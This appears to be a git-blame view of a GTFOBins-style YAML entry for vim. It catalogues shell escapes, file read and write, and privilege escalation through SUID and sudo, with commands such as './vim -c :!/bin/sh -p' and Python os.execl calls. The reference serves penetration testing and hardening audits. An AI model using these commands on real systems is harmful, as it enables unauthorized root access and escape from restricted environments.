2018-08-17 17:16:09 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2018-08-17 17:16:09 +02:00
|
|
|
- code: vim -c ':!/bin/sh'
|
|
|
|
- code: |
|
|
|
|
vim
|
|
|
|
:set shell=/bin/sh
|
|
|
|
:shell
|
2018-12-03 15:45:16 +01:00
|
|
|
- description: This requires that `vim` is compiled with Python support.
|
2018-12-03 15:43:38 +01:00
|
|
|
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
2018-08-17 17:16:09 +02:00
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
vim file_to_write
|
2018-08-20 14:35:43 +02:00
|
|
|
iDATA
|
2018-08-20 14:24:15 +02:00
|
|
|
^[
|
2018-08-17 17:16:09 +02:00
|
|
|
w
|
|
|
|
file-read:
|
|
|
|
- code: vim file_to_read
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2018-08-17 17:16:09 +02:00
|
|
|
- code: ./vim -c ':!/bin/sh -p'
|
2018-12-03 15:55:12 +01:00
|
|
|
- description: This requires that `vim` is compiled with Python support.
|
|
|
|
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-08-17 17:16:09 +02:00
|
|
|
- code: sudo vim -c ':!/bin/sh'
|
2018-12-03 15:45:16 +01:00
|
|
|
- description: This requires that `vim` is compiled with Python support.
|
|
|
|
code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
2018-08-17 17:16:09 +02:00
|
|
|
---
|